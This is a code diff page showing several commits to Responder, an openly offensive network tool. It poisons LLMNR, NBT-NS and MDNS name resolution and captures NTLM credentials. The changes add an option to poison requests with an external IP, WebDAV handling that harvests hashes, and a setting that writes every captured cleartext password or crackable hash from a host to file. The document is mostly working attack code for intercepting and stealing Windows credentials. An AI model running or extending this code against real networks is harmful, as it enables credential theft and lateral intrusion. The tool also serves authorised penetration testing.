Compare commits

..

6 Commits

8 changed files with 101 additions and 38 deletions

View File

@@ -131,6 +131,11 @@ Options:
BROWSER, LLMNR requests without responding.
-I eth0, --interface=eth0
Network interface to use.
-i 10.0.0.21, --ip=10.0.0.21
Local IP to use (only for OSX)
-e 10.0.0.22, --externalip=10.0.0.22
Poison all requests with another IP address than
Responder's one.
-b, --basic Return a Basic HTTP authentication. Default: NTLM
-r, --wredir Enable answers for netbios wredir suffix queries.
Answering to wredir will likely break stuff on the

View File

@@ -49,7 +49,7 @@ DontRespondTo =
DontRespondToName = ISATAP
; If set to On, we will stop answering further requests from a host
; if a hash hash been previously captured for this host.
; if a hash has been previously captured for this host.
AutoIgnoreAfterSuccess = Off
; If set to On, we will send ACCOUNT_DISABLED when the client tries
@@ -57,6 +57,11 @@ AutoIgnoreAfterSuccess = Off
; This may break file serving and is useful only for hash capture
CaptureMultipleCredentials = On
; If set to On, we will write to file all hashes captured from the same host.
; In this case, Responder will log from 172.16.0.12 all user hashes: domain\toto,
; domain\popo, domain\zozo. Recommended value: On, capture everything.
CaptureMultipleHashFromSameHost = On
[HTTP Server]
; Set to On to always serve the custom EXE

View File

@@ -25,8 +25,11 @@ banner()
parser = optparse.OptionParser(usage='python %prog -I eth0 -w -r -f\nor:\npython %prog -I eth0 -wrf', version=settings.__version__, prog=sys.argv[0])
parser.add_option('-A','--analyze', action="store_true", help="Analyze mode. This option allows you to see NBT-NS, BROWSER, LLMNR requests without responding.", dest="Analyze", default=False)
parser.add_option('-I','--interface', action="store", help="Network interface to use", dest="Interface", metavar="eth0", default=None)
parser.add_option('-I','--interface', action="store", help="Network interface to use, you can use 'ALL' as a wildcard for all interfaces", dest="Interface", metavar="eth0", default=None)
parser.add_option('-i','--ip', action="store", help="Local IP to use \033[1m\033[31m(only for OSX)\033[0m", dest="OURIP", metavar="10.0.0.21", default=None)
parser.add_option('-e', "--externalip", action="store", help="Poison all requests with another IP address than Responder's one.", dest="ExternalIP", metavar="10.0.0.22", default=None)
parser.add_option('-b', '--basic', action="store_true", help="Return a Basic HTTP authentication. Default: NTLM", dest="Basic", default=False)
parser.add_option('-r', '--wredir', action="store_true", help="Enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network. Default: False", dest="Wredirect", default=False)
parser.add_option('-d', '--NBTNSdomain', action="store_true", help="Enable answers for netbios domain suffix queries. Answering to domain suffixes will likely break stuff on the network. Default: False", dest="NBTNSDomain", default=False)

View File

@@ -19,7 +19,7 @@ import settings
from base64 import b64decode, b64encode
from odict import OrderedDict
from utils import HTTPCurrentDate
from utils import HTTPCurrentDate, RespondWithIPAton
# Packet class handling all packet generation (see odict.py).
class Packet():
@@ -57,7 +57,7 @@ class NBT_Ans(Packet):
def calculate(self,data):
self.fields["Tid"] = data[0:2]
self.fields["NbtName"] = data[12:46]
self.fields["IP"] = settings.Config.IP_aton
self.fields["IP"] = RespondWithIPAton()
# DNS Answer Packet
class DNS_Ans(Packet):
@@ -83,7 +83,7 @@ class DNS_Ans(Packet):
def calculate(self,data):
self.fields["Tid"] = data[0:2]
self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1])
self.fields["IP"] = settings.Config.IP_aton
self.fields["IP"] = RespondWithIPAton()
self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"]))
# LLMNR Answer Packet
@@ -111,7 +111,7 @@ class LLMNR_Ans(Packet):
])
def calculate(self):
self.fields["IP"] = settings.Config.IP_aton
self.fields["IP"] = RespondWithIPAton()
self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"]))
self.fields["AnswerNameLen"] = struct.pack(">h",len(self.fields["AnswerName"]))[1]
self.fields["QuestionNameLen"] = struct.pack(">h",len(self.fields["QuestionName"]))[1]
@@ -359,6 +359,20 @@ class WPAD_Basic_407_Ans(Packet):
("CRLF", "\r\n"),
])
##### WEB Dav Stuff #####
class WEBDAV_Options_Answer(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 200 OK\r\n"),
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
("Allow", "Allow: GET,HEAD,POST,OPTIONS,TRACE\r\n"),
("Len", "Content-Length: 0\r\n"),
("Keep-Alive:", "Keep-Alive: timeout=5, max=100\r\n"),
("Connection", "Connection: Keep-Alive\r\n"),
("Content-Type", "Content-Type: text/html\r\n"),
("CRLF", "\r\n"),
])
##### FTP Packets #####
class FTPPacket(Packet):
fields = OrderedDict([

View File

@@ -36,7 +36,6 @@ def Poisoned_MDNS_Name(data):
data = data[12:]
return data[:len(data)-5]
class MDNS(BaseRequestHandler):
def handle(self):
MADDR = "224.0.0.251"
@@ -56,7 +55,7 @@ class MDNS(BaseRequestHandler):
if Parse_IPV6_Addr(data):
Poisoned_Name = Poisoned_MDNS_Name(data)
Buffer = MDNS_Ans(AnswerName = Poisoned_Name, IP=socket.inet_aton(settings.Config.Bind_To))
Buffer = MDNS_Ans(AnswerName = Poisoned_Name, IP=RespondWithIPAton())
Buffer.calculate()
soc.sendto(str(Buffer), (MADDR, MPORT))

View File

@@ -20,7 +20,7 @@ from base64 import b64decode
from utils import *
from packets import NTLM_Challenge
from packets import IIS_Auth_401_Ans, IIS_Auth_Granted, IIS_NTLM_Challenge_Ans, IIS_Basic_401_Ans
from packets import IIS_Auth_401_Ans, IIS_Auth_Granted, IIS_NTLM_Challenge_Ans, IIS_Basic_401_Ans,WEBDAV_Options_Answer
from packets import WPADScript, ServeExeFile, ServeHtmlFile
@@ -128,6 +128,21 @@ def WpadCustom(data, client):
return str(Buffer)
return False
def IsWebDAV(data):
dav = re.search('PROPFIND', data)
if dav:
return True
else:
return False
def ServeOPTIONS(data):
WebDav= re.search('OPTIONS', data)
if WebDav:
Buffer = WEBDAV_Options_Answer()
return str(Buffer)
return False
def ServeFile(Filename):
with open (Filename, "rb") as bk:
return bk.read()
@@ -171,10 +186,12 @@ def PacketSequence(data, client):
return RespondWithFile(client, settings.Config.Html_Filename)
WPAD_Custom = WpadCustom(data, client)
# Webdav
if ServeOPTIONS(data):
return ServeOPTIONS(data)
if NTLM_Auth:
Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
if Packet_NTLM == "\x01":
GrabURL(data, client)
GrabReferer(data, client)
@@ -186,12 +203,15 @@ def PacketSequence(data, client):
Buffer_Ans = IIS_NTLM_Challenge_Ans()
Buffer_Ans.calculate(str(Buffer))
return str(Buffer_Ans)
if Packet_NTLM == "\x03":
NTLM_Auth = b64decode(''.join(NTLM_Auth))
ParseHTTPHash(NTLM_Auth, client, "HTTP")
if IsWebDAV(data):
module = "WebDAV"
else:
module = "HTTP"
ParseHTTPHash(NTLM_Auth, client, module)
if settings.Config.Force_WPAD_Auth and WPAD_Custom:
print text("[HTTP] WPAD (auth) file sent to %s" % client)
@@ -242,9 +262,11 @@ def PacketSequence(data, client):
# HTTP Server class
class HTTP(BaseRequestHandler):
def handle(self):
try:
self.request.settimeout(1)
for x in range(2):
self.request.settimeout(3)
data = self.request.recv(8092)
Buffer = WpadCustom(data, self.client_address[0])

View File

@@ -20,7 +20,7 @@ import subprocess
from utils import *
__version__ = 'Responder 2.3.2'
__version__ = 'Responder 2.3.2.3'
class Settings:
@@ -149,9 +149,11 @@ class Settings:
# Auto Ignore List
self.AutoIgnore = self.toBool(config.get('Responder Core', 'AutoIgnoreAfterSuccess'))
self.CaptureMultipleCredentials = self.toBool(config.get('Responder Core', 'CaptureMultipleCredentials'))
self.CaptureMultipleHashFromSameHost = self.toBool(config.get('Responder Core', 'CaptureMultipleHashFromSameHost'))
self.AutoIgnoreList = []
# CLI options
self.ExternalIP = options.ExternalIP
self.LM_On_Off = options.LM_On_Off
self.WPAD_On_Off = options.WPAD_On_Off
self.Wredirect = options.Wredirect
@@ -167,11 +169,13 @@ class Settings:
self.ProxyAuth_On_Off = options.ProxyAuth_On_Off
self.CommandLine = str(sys.argv)
if self.ExternalIP:
self.ExternalIPAton = socket.inet_aton(self.ExternalIP)
if self.HtmlToInject is None:
self.HtmlToInject = ''
self.Bind_To = utils.FindLocalIP(self.Interface, self.OURIP)
self.IP_aton = socket.inet_aton(self.Bind_To)
self.Os_version = sys.platform
@@ -191,18 +195,13 @@ class Settings:
logging.warning('Responder Started: %s' % self.CommandLine)
Formatter = logging.Formatter('%(asctime)s - %(message)s')
CLog_Handler = logging.FileHandler(self.ResponderConfigDump, 'a')
PLog_Handler = logging.FileHandler(self.PoisonersLogFile, 'w')
ALog_Handler = logging.FileHandler(self.AnalyzeLogFile, 'a')
CLog_Handler.setLevel(logging.INFO)
PLog_Handler.setLevel(logging.INFO)
ALog_Handler.setLevel(logging.INFO)
PLog_Handler.setFormatter(Formatter)
ALog_Handler.setFormatter(Formatter)
self.ResponderConfigLogger = logging.getLogger('Config Dump Log')
self.ResponderConfigLogger.addHandler(CLog_Handler)
self.PoisonersLogger = logging.getLogger('Poisoners Log')
self.PoisonersLogger.addHandler(PLog_Handler)
@@ -213,8 +212,8 @@ class Settings:
DNS = subprocess.check_output(["cat", "/etc/resolv.conf"])
RoutingInfo = subprocess.check_output(["netstat", "-rn"])
Message = "Current environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(NetworkCard,DNS,RoutingInfo)
self.ResponderConfigLogger.warning(Message)
self.ResponderConfigLogger.warning(str(self))
utils.DumpConfig(self.ResponderConfigDump, Message)
utils.DumpConfig(self.ResponderConfigDump,str(self))
def init():
global Config

View File

@@ -82,6 +82,12 @@ def RespondToThisName(Name):
def RespondToThisHost(ClientIp, Name):
return RespondToThisIP(ClientIp) and RespondToThisName(Name)
def RespondWithIPAton():
if settings.Config.ExternalIP:
return settings.Config.ExternalIPAton
else:
return settings.Config.IP_aton
def OsInterfaceIsSupported():
if settings.Config.Interface != "Not set":
return not IsOsX()
@@ -124,6 +130,10 @@ def WriteData(outfile, data, user):
with open(outfile,"a") as outf2:
outf2.write(data + '\n')
# Function used to write debug config and network info.
def DumpConfig(outfile, data):
with open(outfile,"a") as dump:
dump.write(data + '\n')
def SaveToDb(result):
# Creating the DB if it doesn't exist
@@ -162,6 +172,12 @@ def SaveToDb(result):
cursor.execute("INSERT INTO responder VALUES(datetime('now'), ?, ?, ?, ?, ?, ?, ?, ?)", (result['module'], result['type'], result['client'], result['hostname'], result['user'], result['cleartext'], result['hash'], result['fullhash']))
cursor.commit()
if settings.Config.CaptureMultipleHashFromSameHost:
with open(logfile,"a") as outf:
if len(result['cleartext']): # If we obtained cleartext credentials, write them to file
outf.write('%s:%s\n' % (result['user'].encode('utf8', 'replace'), result['cleartext'].encode('utf8', 'replace')))
else: # Otherwise, write JtR-style hash string to file
outf.write(result['fullhash'].encode('utf8', 'replace') + '\n')
if not count or settings.Config.Verbose: # Print output
if len(result['client']):